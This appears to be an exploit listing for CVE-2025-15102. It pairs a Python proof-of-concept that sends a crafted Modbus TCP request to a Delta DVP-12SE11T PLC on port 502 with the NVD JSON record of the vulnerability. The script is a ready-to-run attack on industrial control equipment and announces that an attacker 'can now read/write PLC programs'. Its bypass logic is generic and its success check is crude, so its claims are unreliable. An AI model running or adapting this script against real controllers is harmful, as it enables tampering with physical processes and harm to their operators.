CVE-2025-15102

import socket import struct def send_raw_request(target_ip, target_port, command_code, data): """ CVE-2025-15102 PoC - DVP-12SE11T Password Protection Bypass Send crafted request to bypass authentication """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) # Modbus TCP header + crafted payload transaction_id = 0x0001 protocol_id = 0x0000 length = 6 + len(data) unit_id = 0x01 # MBAP Header header = struct.pack('>HHHB', transaction_id, protocol_id, length, unit_id) # Crafted command with authentication bypass # Modify function code or add bypass flags packet = header + bytes([command_code]) + data sock.send(packet) response = sock.recv(1024) print(f'[+] Sent packet: {packet.hex()}') print(f'[+] Received response: {response.hex()}') return response except Exception as e: print(f'[-] Error: {e}') return None finally: sock.close() def exploit(target_ip, target_port=502): """ Main exploit function for CVE-2025-15102 """ print(f'[*] Exploiting CVE-2025-15102 on {target_ip}:{target_port}') print('[*] Attempting to bypass password protection...') # Try reading program/data without authentication response = send_raw_request(target_ip, target_port, 0x03, b'\x00\x00\x00\x01') if response and len(response) > 10: print('[+] Authentication bypass successful!') print('[+] Attacker can now read/write PLC programs') return True print('[-] Exploit failed or target not vulnerable') return False if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 502 exploit(target, port)

{"cve": {"id": "CVE-2025-15102", "sourceIdentifier": "759f5e80-c8e1-4224-bead-956d7b33c98b", "published": "2025-12-30T09:15:52.157", "lastModified": "2026-01-06T21:06:34.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DVP-12SE11T - Password Protection Bypass"}], "metrics": {"cvssMetricV31": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:deltaww:dvp-12se11t_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.16", "matchCriteriaId": "0C3C10A0-095C-42AE-BDC7-031777E1D92B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:deltaww:dvp-12se11t:-:*:*:*:*:*:*:*", "matchCriteriaId": "8064F0CC-BFDB-4E4B-8E20-437BA4663972"}]}]}], "references": [{"url": "https://filecenter.deltaww.com/news/download/doc/Delta-PCSA-2025-00022_DVP-12SE11T%20Multiple%20Vulnerabilities.pdf", "source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "tags": ["Vendor Advisory"]}]}}